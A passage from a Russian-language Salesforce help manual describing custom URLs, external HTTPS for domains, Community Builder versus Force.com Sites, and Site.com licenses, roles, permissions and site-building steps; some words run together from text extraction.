При использовании сайтов Force.com URL-адрес удаляется незамедлительно, а
пользователи теряют доступ к любому связанному сайту. При использовании сайтов
Site.com URL-адрес остается активным до повторной публикации сайта.

Чтобы удалить URL-адрес из домена, выполните указанные ниже действия.

1. Введите строку «Настраиваемые URL-адреса» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Настраиваемые URL-адреса».

2. Щелкните ссылку «Удал.» напротив имени нужного URL-адреса.

3. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Общие сведения об управлении доменами

Управление доменами и настраиваемыми URL-адресами

Включение внешнего HTTPS для домена

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Включение внешнего HTTPS для домена позволяет компании Salesforce использовать
доменвбезопасныхссылкахнасвязанныесайты (например, URL-адреса, отображающиеся
внутри сообщения эл. почты, отправленного сообществом Salesforce). Данная функция
полезна для сайтов, требующих выполнения проверки подлинности (например, сайты
сообщества, сайты портала или любой другой сайт, использующий средства защиты
от перехвата информации или несанкционированного доступа).

Данный параметр предназначается для доменов, которые используют стороннююсеть
доставки содержимого или конечную точку для обслуживания HTTPS.

Принеобходимостивключитевнешний HTTPS длялюбогодомена, которыйнеуказывает
на целевую запись CNAME (домен.18-значныйКодОрганизации.live.siteforce.com).

Если запись DNS домена не является записью CNAME, указывающей на субдомен
live.siteforce.com для данного домена, то при включении данного параметра компания Salesforce обрабатывает
домен как поддерживающий безопасные подключения.
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Если запись DNS домена является записью CNAME, указывающей на ожидаемый субдомен live.siteforce.com для
данного домена, то при выключении данного параметра компания Salesforce обрабатывает домен как поддерживающий
небезопасные подключения.

Включение внешнего HTTPS недоступно при добавлении нового домена (только при редактировании текущего домена).

Чтобывключитьвнешний HTTPS длядомена, нажмитекнопку «Правка»на страницесо спискомдоменовилина странице
сведений о домене и установите флажок «Включить внешний HTTPS».

Если домен, для которого включается внешний HTTPS, содержит только настраиваемые URL-адреса Site.com, которые не
принадлежат сообществам, то выполненное изменение применяется на соответствующих сайтах Site.com только после
их публикации вручную посредством Site.com Studio. При наличии как минимум одного сайта сообщества или одного
сайта Force.comдлядомена, поддерживающегосайт Site.com, которыйнепринадлежитсообществу, публикацияизменений
для данного домена выполняется автоматически.

СМ. ТАКЖЕ:

Управление доменами и настраиваемыми URL-адресами

Общие сведения об управлении доменами

Общие сведения о конструкторе сообществ (Site.com) и Force.com Sites

Конструктор сообществ (Site.com)
Конструктор сообществ — это интуитивно-понятный удобный инструмент для настройки сообщества. Конструктор
сообществ позволяет создавать сообщество на основе предварительно настроенного шаблона, а затем использовать
интуитивно-понятный интерфейс для применения фирменного стиля, редактирования страниц, обновления шаблона
и публикации изменений.

При использовании конструктора сообществ вам открываются следующие возможности.

• Использованиешаблона самообслуживания (Koa, Kokua или Napili) для быстрого создания эффективного сообщества
для самообслуживания.

• Использование шаблона Aloha для создания настраиваемого средства запуска приложений.

• Оформление высококачественныхфирменных страниц.

• Созданиеобщедоступныхстраницилиличныхстраниц, которыемогутбытьдобавленывкачествевкладкисообщества.

• Быстрое повторение созданных многоразовых элементов страницы с помощью перетаскивания.

• Использование готовых форм для создания форм Web-to-Lead или сбора отзывов клиентов.

• Создание страниц под управлением данных (например, каталоги продуктов и другие списки) посредством данных
организации.

• Установка начальной страницы и настройка многоязычной поддержки вашего сообщества в среде Site.com Studio,
системе управления веб-содержимым, предоставляющей дополнительные параметры конфигурации. Среда Site.com
Studio доступна на странице «Управление сообществом».

Force.com Sites
Force.com Sites — это продукт, предназначенный для более опытных разработчиков Visualforce и позволяющий создавать
настраиваемые страницы или веб-приложения путем наследования возможностей Force.com, включая аналитику,
бизнес-правила, утверждения и программируемую логику. Таким образом, Force.com Sites поддерживает программное
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создание сайтов посредством Apex и интерфейсов API. При использовании Force.com вам открываются следующие
возможности.

• Создание общедоступных фирменных страниц.

• ИспользованиеVisualforceдлясозданияличныхстраниц, которыемогутбытьдобавленывкачествевкладкисообщества.

• Создание собственных контроллеров или расширений для контроллеров посредством кода Apex.

• Создание настраиваемых страниц входа или самостоятельной регистрации.

• Создание динамических веб-приложений (например, приложение для управления событиями).

Быстрый обзор функций
Не можете выбрать нужный продукт? Таблица ниже содержит дополнительную информацию офункциях каждого
продукта.

Force.com SitesКонструктор сообществФункция

Общедоступные страницы

Шаблоны сообщества (Koa, Kokua, Napili, Aloha)*

Проверенные страницы*

Страницы Visualforce

Стандартные страницы входа, выхода, самостоятельной
регистрации и ошибок

Интерактивная среда

Многоразовые компоненты

Высококачественное оформление

Ограничения IP-адресов

Доступ к данным (например, обращения, интересы и
возможности)

Готовые формы

Система управления веб-содержимым

Программное создание страниц (посредством Apex,
интерфейсов API и контроллеров)

Веб-приложения

Аналитика, отчеты и бизнес-правила

Полная поддержка возможностей платформы Force.com

* Доступно в конструкторе сообществ только пользователям сообществ.
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Site.com

Общие сведения о Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Site.com — этосистемауправлениявеб-содержимым, обеспечивающаябыстроесоздание
динамических веб-страниц под управлением данных, редактирование содержимого в
режиме реального времени и управление веб-сайтами. Вкладка Site.com приложения
Site.com позволяет открывать Site.com Studio — отдельную специализированную среду
для создания и редактирования высококачественных настраиваемых веб-сайтов.
Администраторы сайта и конструкторы могут создавать и оформлять веб-страницы в
соответствии с фирменным стилем компании, а также добавлять меню навигации,
изображения и текстовые области путем перетаскивания элементов страницы. Авторы
содержимого (например, пользователи Marketing) могут просматривать и обновлять
содержимое веб-сайтанепосредственнов упрощеннойсреде Site.com Studio. Кроме того,
веб-сайты, созданные посредством Site.com, используют признанную во всем мире
инфраструктуру Salesforce.

Прим.: Функции, доступные в среде Site.com Studio, определяются ролью
пользователя: администратор сайта, конструктор или автор.

Ниже приведены примеры использования Site.com.

• Создание событийного сайта: афиширование предстоящих событий (например, торжественных открытий, выхода
товара на рынок или начала продаж) на общедоступном сайте.

• Продвижение новых продуктов: стимулирование сбыта новой продукции с помощью рекламного веб-сайта,
позволяющего увеличить объемы продаж.

• Публикация вопросов и ответов по поддержке: рекомендуем разместить полезнуюинформациюна общедоступном
веб-сайте, поддерживающем поиск по решениям возникших проблем.

• Создание микросайтов и целевых страниц: разработка временных целевых страниц или специализированных
микросайтов для проведения маркетинговых кампаний.

• Создание веб-сайта по подбору кадров: рекомендуем опубликовать открытые вакансии на общедоступный сайт и
разрешить посетителям отправку резюме и заявок.

• Публикация каталога продуктов: рекомендуем опубликовать все продукты компании на общедоступный веб-сайт, а
также добавить номера моделей и текущие цены, извлекаемые из организации динамически.

• Размещение корпоративных пресс-релизов: публикация и сортировка корпоративных пресс-релизов по дате
публикации.

Требования к системе
Ниже перечислены минимальные требования для работы со средой Site.com Studio.

• Рекомендуем использовать обозреватель Mozilla® Firefox® или Google® Chrome. Windows® Internet Explorer® 6.0 или 7.0 не
поддерживается.

• Расширение для обозревателя Firefox — Firebug — может влиять на производительность, поэтому должно быть
отключено (при его наличии).
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• Минимально допустимое разрешение обозревателя: 1 024 x 768 пикселов.

СМ. ТАКЖЕ:

Настройка пользователей Site.com

Планирование и внедрение веб-сайта Site.com

Использование Site.com Studio в качестве администратора сайта или конструктора

Использование Site.com Studio в качестве автора

Настройка пользователей Site.com

Общие сведения о лицензиях на компонент Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Доступ к Site.com предоставляется пользователям организации только при наличии
лицензии Site.com.

• Лицензия Site.com Publisher предоставляет пользователям доступ к среде Site.com
Studio для создания и оформления веб-сайтов, определения макетов и
функциональных возможностей страниц и их элементов, а также добавления и
редактирования содержимого.

• Лицензия Site.com Contributor предоставляет пользователям доступ к среде Site.com
Studio только для редактирования содержимого сайта.

Чтобы выбрать правильную лицензию, рекомендуем определить действия, которые
должныбытьдоступныпользователямсайта. Полныйсписокдействий, предоставляемых
каждой лицензией, см. в таблице компонентов Site.com. Пользователи Site.com могут
быть настроены после приобретения лицензии.

Чтобы просмотреть количество назначенных лицензий, воспользуйтесь профилем
организации.

Прим.: Организации, использующие версии Performance Edition, Unlimited Edition и Enterprise Edition, должны
приобретать лицензии Site.com Publisher и Site.com Contributor за дополнительную плату. Кроме того, каждый сайт,
опубликованный в Интернете, требует наличия лицензии «Опубликованный сайт Site.com». Дополнительную
информацию о приобретении лицензий Site.com можно получить в компании Salesforce.

Организациям, использующим версию Developer Edition, предоставляются две лицензии Site.com Publisher и одна
лицензия Site.com Contributor. Организации, использующиеверсию Developer Edition, неподдерживаютпубликацию
сайтов.

Пользователям сообществ, которым предоставлено полномочие «Создание и настройка сообществ», назначается
роль администратора сайта на сайте Site.com сообщества.При отсутствии данного полномочия пользователи
сообществ могут редактировать сайты только после приобретения и назначения лицензии Site.com Publisher или
Site.com Contributor, а также назначения роли на уровне сайта.

СМ. ТАКЖЕ:

Общие сведения о ролях пользователя Site.com

Управление ролями и пользователями Site.com
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Настройка пользователей Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования
пользователей:
• «Управление

внутренними
пользователями»

Прежде чем предоставить пользователям доступ к приложению Site.com, рекомендуем
назначить каждому пользователю лицензию на компонент Site.com и роль на уровне
сайта. Данные параметры определяют функции, доступные при редактировании сайта
в среде Site.com Studio.

Чтобы получить дополнительную информацию о лицензиях, полномочиях и ролях,
необходимых для каждого пользователя, рекомендуем сначала просмотреть таблицу
компонентов Site.com.

Преждечемвыполнитьуказанныенижедействия, определитесоответствующийуровень
доступа.

1. Чтобы предоставить пользователю лицензию на компонент, измените профиль
пользователя. Чтобы предоставить:

• лицензию Site.com Publisher, установите флажок «Пользователь Site.com

Publisher».

• лицензию Site.com Contributor, установите флажок «Пользователь Site.com

Contributor».

При наличии лицензии приложение Site.com доступно пользователям в меню
приложений Force.com, расположенном в верхнем колонтитуле Salesforce.

Прим.: Если данные флажки не отображаются, убедитесь, что организация
поддерживаетSite.com. См. раздел «Общиесведенияолицензияхна компонент
Site.com» на странице 5062.

2. Убедитесь в наличииполномочия «Просмотрнастройкии конфигурации». Данное
полномочие позволяет всем пользователям создавать и редактировать веб-сайты посредством Site.com Studio.

3. Убедитесь, что лицензия на компонент Site.com и полномочие «Управление пользователями» предоставлены как
минимум одному пользователю организации. Таким образом, роли могут быть переназначены при случайном
удалении пользователей сайта.

Внимание: Полномочие «Управление пользователями» поддерживает широкий набор действий. Данное
полномочие позволяет управлять всеми пользователями организации, а не только пользователями Site.com.

4. Добавьте пользователей и назначьте роли внутри сайта. (При создании сайта пользователю с лицензией Site.com
Publisher автоматически назначается роль администратора сайта на уровне сайта.)

Лицензиинакомпонент, полномочияиролиопределяютдействия, доступныепользователямнакаждомсайте. Например,
чтобы создать администратора, который может управлять всеми сайтами организации, рекомендуем предоставить
лицензию Site.com Publisher и назначить роль администратора сайта на уровне сайта.

Чтобысоздатьпользователя, которыйнедолжениметьполномочийадминистратора, ипредоставить емуограниченный
доступ для редактирования содержимого сайта, рекомендуем назначить лицензию Site.com Contributor и роль автора на
уровне сайта.

Чтобы создать пользователя, который не должен иметь права на публикацию, но может управлять ролями на сайте,
рекомендуемпредоставитьлицензию Site.com Publisher, включитьполномочие «Управлениепользователями» иназначить
роль конструктора на уровне сайта.

СМ. ТАКЖЕ:

Общие сведения о ролях пользователя Site.com
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Общие сведения о ролях пользователя Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Каждому пользователю Site.com должна быть назначена роль на уровне сайта,
определяющая действия, доступные каждому пользователю на сайте. На каждом сайте
пользователюможетбытьназначенатолькооднароль; ролиодногопользователямогут
различаться на разных сайтах. Например, на одном сайте пользователь может быть
администратором, а на другом — автором.

Управлениероляминасайтедоступнотолькоадминистраторусоответствующегосайта
или пользователю с лицензией на компонент Site.com и полномочием «Управление
пользователями».

Прим.: Пользователямсообществ, которымпредоставленополномочие «Создание
и настройка сообществ», назначается роль администратора сайта на сайте Site.com
сообщества. Тем не менее, они не отображаются в разделе «Роли пользователя»
вкладки «Общие сведения» среды Site.com Studio.

Пользователям может быть назначена одна из трех ролей на уровне сайта.

• «Администратор сайта»: пользователи, которые могут создавать и управлять всем содержимым сайта. Они могут
создавать сайты, шаблоны, таблицы стилей и страницы, а также настраивать домены, публиковать сайты и назначать
роли. Данная роль доступна только при наличии лицензии Site.com Publisher.

• «Конструктор»: пользователи, которые также могут управлять содержимым сайта, но не могут управлять доменами и
публиковать сайты. По умолчанию назначение ролей доступно только при наличии полномочия «Управление
пользователями». Данная роль доступна только при наличии лицензии Site.com Publisher.

• «Автор»: пользователи, которымпредоставляется самыйограниченныйдоступ к содержимому, позволяющийтолько
редактировать изображения и текст страницы. По умолчанию назначение ролей доступно только при наличии
полномочия «Управлениепользователями». ДаннаярольдоступнатолькоприналичиилицензииSite.com Contributor.

Полныйсписокдействий, поддерживаемыхкаждойрольюпользователя, см. в таблицекомпонентов Site.comна странице
5066.

СМ. ТАКЖЕ:

Управление ролями и пользователями Site.com

Настройка пользователей Site.com

Настройка представления Site.com Studio автора

Общие сведения о лицензиях на компонент Site.com
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Управление ролями и пользователями Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
пользователями Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта, назначенная на
уровне сайта

После созданиясайтарекомендуемдобавитьдругихпользователейиназначитьимроли.
Прежде чем добавить пользователей на сайт, рекомендуем назначить им лицензии на
компонент Site.com.

Прим.: Пользователямсообществ, которымпредоставленополномочие «Создание
и настройка сообществ», назначается роль администратора сайта на сайте Site.com
сообщества. Тем не менее, они не отображаются в разделе «Роли пользователя»
вкладки «Общие сведения» среды Site.com Studio.

При назначении роли убедитесь, что как минимум одна роль совместима с лицензией
пользователя Site.com. Лицензия пользователя, выполняющего вход в приложение
Site.com, сопоставляется с ролью, назначенной ему на уровне сайта. Если лицензия не
поддерживает полномочия, связанные с ролью, то пользователю предоставляются
полномочия, связанные с лицензией. Например, пользователю с лицензией Site.com
Contributor и ролью администратора сайта доступны только полномочия автора,
независимо от назначенной роли.

Чтобыдобавитьпользователейиназначитьроли, выполните указанныенижедействия.

1. Щелкните «Конфигурация сайта» > «Роли пользователя» на вкладке «Общие
сведения» в среде Site.com Studio.

2. Нажмите кнопку «Добавить пользователей».

3. Выберите нужного пользователя в разделе «Доступные пользователи».

4. Выберите нужную роль в раскрывающемся списке «Добавить как:».

5. Чтобы переместить пользователя в раздел «Выбранные пользователи», нажмите
кнопку со стрелкой.

6. Нажмите кнопку «Сохранить».

Чтобы удалить пользователей, выполните указанные ниже действия.

1. Выберите нужного пользователя в представлении «Роли пользователя».

2. Щелкните  > «Удалить».

3. Нажмите кнопку «OK».

Чтобы изменить роль пользователя, выполните указанные ниже действия.

1. Наведите указатель мыши на нужную роль пользователя в представлении «Роли пользователя».

2. Чтобы просмотреть все роли, щелкните стрелку.

3. Выберите новую роль.

Чтобы удалить или изменить роль для группы пользователей, рекомендуем воспользоваться пакетными действиями.

1. Установите флажок напротив имени каждого пользователя в представлении «Роли пользователя».

2. Щелкните «Пакетные действия».

3. Выберите нужное действие.

4. Нажмите кнопку «Применить».
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Прим.: При пакетном обновлении ролей всем выбранным пользователям может быть назначена только такая
же роль.

СМ. ТАКЖЕ:

Настройка пользователей Site.com

Настройка представления Site.com Studio автора

Планирование и внедрение веб-сайта Site.com

Общие сведения о функциях Site.com

Общие сведения о функциях Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Функции, доступные при редактировании сайта в среде Site.com Studio, определяются
лицензией на компонент Site.com и ролью пользователя для отдельного сайта.

В таблице ниже перечислены обязательные лицензии, полномочия и роли для
большинства функций Site.com Studio.

Прим.:

• Пользователям сообществ, которым предоставлено полномочие «Создание и
настройка сообществ», назначаетсяроль администраторасайтана сайте Site.com
сообщества.

• Site.com не поддерживает создание, удаление или копирование сайтов
сообщества.

Требования к функциям Site.com Studio

ПолномочияРоль пользователя
Site.com Studio

Лицензия
на
компонент

Функция

«Управление
внутренними
пользователями»

Назначение лицензии на
компонент профилю
пользователя

Кроме того,
любой

Администратор сайтаИздательДобавление пользователей и
ролей на уровне сайта

пользователь с
лицензией на
компонент
Site.com и
полномочием
«Управление
пользователями».

Администратор сайта
или конструктор

ИздательПредоставление авторам
полномочий на создание
страниц, добавление блоков
содержимого и виджетов, а
такжередактированиеблоков
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Требования к функциям Site.com Studio

ПолномочияРоль пользователя Site.com
Studio

Лицензия на
компонент

Функция

содержимого и графических данных

Пользователи, создающие сайт,
автоматическидобавляютсянаэтот
сайт в качестве администраторов.

ИздательСоздание веб-сайтов

Администратор сайта или
конструктор

ИздательУдаление веб-сайтов

Пользователи, импортирующие
сайт, автоматически добавляются

ИздательИмпорт веб-сайтов

на новый сайт в качестве
администраторов.

Администратор сайта или
конструктор

ИздательЭкспорт веб-сайтов

Администратор сайта или
конструктор

ИздательДублирование веб-сайтов

Администратор сайтаИздательУправление доменами

(Недоступно в версии Developer Edition)

Администратор сайтаИздательДобавление и редактирование
ограничений IP-адресов

Администратор сайтаИздательПубликацияизмененийнадействующем
веб-сайте

(Недоступно в версии Developer Edition)

Администратор сайта или
конструктор

ИздательСоздание шаблонов страниц

Администратор сайта или
конструктор

Толькоавтор, еслиданнаяфункция
включена администратором сайта

Издатель или
автор

Создание страниц веб-сайта

или конструктором на панели
«Свойства» шаблона страницы.

Администратор сайта или
конструктор

ИздательСоздание и изменение таблиц стилей

Администратор сайта или
конструктор

ИздательИзменение макета и дизайна
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Требования к функциям Site.com Studio

ПолномочияРоль пользователя Site.com
Studio

Лицензия на
компонент

Функция

Администратор сайта или
конструктор

Автор может добавлять блоки
содержимого и виджеты, если

Издатель или
автор

Добавление элементов страницы

данная функция включена
администратором сайта или
конструктором.

Администратор сайта или
конструктор

ИздательДобавление повторителей данных и
прочихпривязанныхкданнымэлементов
страницы

«Управление
профилями и

Администратор сайта или
конструктор

ИздательИзменениепрофиляпользователя-гостя
для предоставления общего доступа к
объектам Salesforce наборами

полномочий» и
«Настройка
приложения»

Любая назначенная рольИздатель или
автор

Импортактивов (например, изображения
и файлы)

Администратор сайта или
конструктор

Толькоавтор, еслиданнаяфункция
включена администратором сайта

Издатель или
автор

Редактирование содержимого и
изображений

или конструктором на панели
«Свойства» шаблона страницы.

Любая назначенная рольИздатель или
автор

Предварительный просмотр страниц
веб-сайта
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Начало работы с Site.com

Планирование и внедрение веб-сайта Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или импорта
сайтов Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования только
содержимого сайтов
Site.com:
• Поле «Пользователь

Site.com
Contributor»,
включенноена странице
сведений о пользователе

И

Роль автора,
назначенная на уровне
сайта

Существует много способов создания веб-сайтов. Оптимальный способ создания
определяетсямногимифакторами, например, размеромрабочейгруппыипоставленными
задачами.

Администраторы сайта и конструкторы могут участвовать во всех этапах создания,
включая добавление и управление содержимым сайта. Кроме того, они могут
предоставлять авторам полномочия на добавление, редактирование и управление этим
содержимым. Тогда как авторы несут ответственность за редактирование и обновление
всего содержимого сайта, а также могут принимать участие в доработке сайта наряду с
другими авторами, конструкторами и администраторами сайта.

В данном разделе рассмотрены основные этапы создания сайтов в Site.com.

• Планирование дизайна сайта имакета страницы (для администраторов сайта и
конструкторов). Прежде чем перейти к созданию страниц сайта, рекомендуем
тщательно продумать его дизайн и базовый макет. Именно этот этап позволяет
обеспечить единое стилистическое оформление страниц сайта при минимальных
усилиях. Обстоятельнопродумайте структуру сайта, аименно — определитенужное
количествостраницирешите, будутлииспользоватьсяподстраницы. Такжевыберите
способ навигации посетителей по сайту.

Затем составьте макет страниц и выберите типовые элементы, которые будут
использоваться на всех страницах. Внашемпримере сайт содержит раздел верхнего
колонтитула, состоящий из логотипа компании и меню (1), а также раздел нижнего
колонтитула (2). Однако основной раздел начальной страницы (3) отличается от
основного раздела других страниц сайта (4). Рекомендуем учитывать такие сходства
и различия, так как они повлияют на выбор способа создания страниц сайта.
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• Создание сайта (для администраторов сайта и конструкторов). После завершения подготовительныхработ на этапе
планирования пользователь может перейти к созданию сайта! Выполните вход в приложение Site.com и откройте
вкладкуSite.comдлясозданияпервогосайта. ПриэтомновыйпустойсайтоткрываетсявсредеSite.com Studio, являющейся
эффективным средством создания страниц сайта.

Прим.: Создание и импорт сайтов доступны только пользователям с полем «Пользователь Site.com

Publisher», включенным на странице сведений о пользователе.

• Импорт активов (для администраторов сайта и конструкторов). Если в разработке сайта принимает участие
дизайнерское бюро, то все необходимые файлы и активы, в том числе таблицы стилей, могут быть предоставлены
его сотрудниками. При создании собственного дизайна рекомендуем разбить макет на элементы и отобрать активы,
изображения ифайлы, которые будут использоваться на сайте. Импортируйте активы в среду Site.com Studio, где они
будут доступны в разделе «Активы» на вкладке «Общие сведения».

• Созданиешаблона страницы (для администраторов сайта и конструкторов). После утверждения будущего макета
страницы рекомендуем воспользоваться шаблоном страницы, с помощью которого можно создать базовый макет,
который затем будет использоваться в качестве основы для создания страниц сайта. Чтобы при необходимости в
кратчайшие срокиизменить дизайносновногошаблона страницы, рекомендуем добавлять в него как можноменьше
элементов. Для реализации более сложных дизайнов (таких как: примеры с графическими представлениями)
рекомендуем использовать основнойшаблон страницы для создания дочерних шаблонов. При созданиишаблона
страницы можно воспользоваться готовыми макетами, содержащими столбцы, верхние и нижние колонтитулы, или
создать пустой шаблон страницы.

• Создание макета страницы (для администраторов сайта и конструкторов). После создания шаблона страницы
пользователи могут внести дополнительные изменения в макет с целью еще большего соответствия дизайну сайта.

• Создание страниц сайта (для администраторов сайта и конструкторов). Воспользуйтесь шаблоном для быстрого
создания страницсайта, которые автоматическинаследуютвсе элементышаблона страницы. Для созданияотдельной
страницы, дизайн которойотличается от дизайна остального сайта, рекомендуем воспользоватьсяпустой страницей.

• Добавлениефункцийиэлементовстраницы (для администраторовсайтаиконструкторов). Чтобыдобавитьтакие
элементы, как меню навигации, изображения и службы данных, а также блоки содержимого, доступные авторам для
редактирования, рекомендуем воспользоваться готовыми элементами страницы Site.com. А для добавления
интерактивных и анимированных эффектов следует использовать события и действия.

• Оформление веб-сайта (для администраторов сайта и конструкторов). Чтобы определить внешний вид страниц
веб-сайта, воспользуйтесь каскадными таблицами стилей. Пользователям, неимеющимдостаточногоопыта в работе
с таблицамистилей, рекомендуемоформлятьсайтспомощьюпанели «Стиль», котораяобеспечиваетбыстроесоздание
стилей и удобное управление ими. Тогда как опытным пользователям доступно ручное программирование таблиц
стилей, используемых на сайте.

• Добавление и редактирование содержимого (для авторов). Учитывая степень готовности сайта на данном этапе,
авторам предоставляется право на добавление и редактирование содержимого (например, текста, изображений,
видеофайлов и гиперссылок). Кроме того, любые необходимые изображения или файлы могут быть загружены во
время работы.

• Просмотритестированиесайта (для авторов, конструкторови администраторов сайта). Тестированиеизменений,
внесенные на страницы сайта, доступно на протяжении всего цикла разработки. Чтобы гарантировать надлежащее
отображение внесенных изменений в обозревателе, настоятельно рекомендуем авторам, конструкторам и
администраторам сайта всегда просматривать изменения до их внедрения на действующий сайт. Кроме того,
администраторысайтаиконструкторымогутотправлятьспециальнымэкспертамссылки, позволяющиепросматривать
готовый продукт до выпуска.
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• Публикация сайта (только для администраторов сайта). После завершения тестирования новый сайт может быть
наконецопубликован. Чтобыактивироватьсайт, укажитесведенияодоменесайтаиопубликуйтевнесенныеизменения.

СМ. ТАКЖЕ:

Использование Site.com Studio в качестве администратора сайта или конструктора

Использование Site.com Studio в качестве автора

Настройка представления Site.com Studio автора
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Общие сведения о вкладке Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или импорта
сайтов Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования только
содержимого сайтов
Site.com:
• Поле «Пользователь

Site.com
Contributor»,
включенноена странице
сведений о пользователе

И

Роль автора,
назначенная на уровне
сайта

Если вкладка Site.com не отображается, откройте приложение Site.com. Оно доступно в
меню приложений Force.com, расположенном в верхнем колонтитуле Salesforce. Чтобы
просмотреть список сайтов Site.com, откройте вкладку Site.com. Ниже перечислены
действия, доступные на данной странице.

• Чтобы создать или импортировать сайт, нажмите кнопку «Создать». Создание и
импорт сайтов доступны только пользователям с полем «Пользователь Site.com

Publisher», включенным на странице сведений о пользователе.

• Чтобы просмотреть отфильтрованный список сайтов, выберите нужное
представление из раскрывающегося списка. Представление «Мои сайты» содержит
сайты, доступные пользователю и его роли. Представление «Все сайты» содержит
все сайты, используемые в организации, включая недоступные.

• Чтобыоткрыть сайт в Site.com Studiо, щелкните ссылку «Правка»напротивнужного
сайта.

• Чтобы открыть сайт для предварительного просмотра, щелкните ссылку
«Предварительный просмотр» напротив нужного сайта.

• Чтобыдублировать, экспортировать или удалить сайт, нажмите кнопку напротив
нужного сайта. Дублирование, экспорт и удаление сайтов доступны только
пользователям с полем «Пользователь Site.com Publisher», включенным на
страницесведенийопользователе, ирольюадминистраторасайтаиликонструктора.
Опубликованный сайт может быть удален только после перевода в автономный
режим.

• Просмотрите статус сайта.

– «В разработке»: сайт не публиковался.

– «Опубликовано»: сайт публиковался как минимум один раз.

• Чтобы отсортировать список сайтов, щелкните заголовок любого столбца. По
умолчанию сайты сортируются по имени.

Прим.: Site.com не поддерживает создание, удаление или копирование сайтов
сообщества.

СМ. ТАКЖЕ:

Использование Site.com Studio в качестве администратора сайта или конструктора

Использование Site.com Studio в качестве автора

Планирование и внедрение веб-сайта Site.com
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Использование Site.com Studio в качестве администратора сайта или конструктора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для управления доменами и
публикации сайтов Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта, назначенная на
уровне сайта

Site.com Studio — это специализированная среда создания сайтов для администраторов
сайта и конструкторов. Ниже перечислены действия, доступные в данной среде.

• Создание шаблонов страниц для разработки собственных страниц сайта.

• Создание страниц сайта.

• Импорт активов (например, изображений и файлов).

• Редактирование таблицы стилей сайта или добавление новых таблиц стилей.

• Просмотр и редактирование страницы илишаблона.

• Добавление элементов страницы на страницы сайта.

• Использование служб данных для установления связи с объектами Salesforce,
позволяющей извлекать, отображать или отправлять данные.

• Создание настраиваемых виджетов, которые могут повторно использоваться
пользователями на сайте.

• Создание многоязычного сайта, позволяющего посетителям сайта выбирать
предпочтительный язык.

• Создание событий для добавления интерактивных и анимированных эффектов на
веб-сайт.

• Добавлениеограничений IP-адресов, позволяющихконтролироватьуровеньдоступа
посетителей сайта к страницам, шаблонам страниц, папкам и активам на сайте.

• Добавлениепереадресаций URL-адресовдляуведомленияпользователейипоисковых
систем о перемещении содержимого сайта.

• Создание папок для систематизации содержимого сайта.

• Предварительный просмотр сайта или создание ссылки для анонимного
предварительного просмотра другими пользователями.

• Управление сведениями о домене для сайта.

• Публикация недавних изменений на действующем сайте.

• Копирование, импорт и экспорт сайтов.

Прим.:

• Конструкторы не могут управлять доменами и публиковать содержимое.

• Site.com не поддерживает создание, удаление или копирование сайтов
сообщества.

СМ. ТАКЖЕ:

Описание вкладки «Общие сведения» для администраторов сайта и конструкторов

Планирование и внедрение веб-сайта Site.com

Настройка представления Site.com Studio автора

Общие сведения о вкладке Site.com
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Использование Site.com Studio в качестве автора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
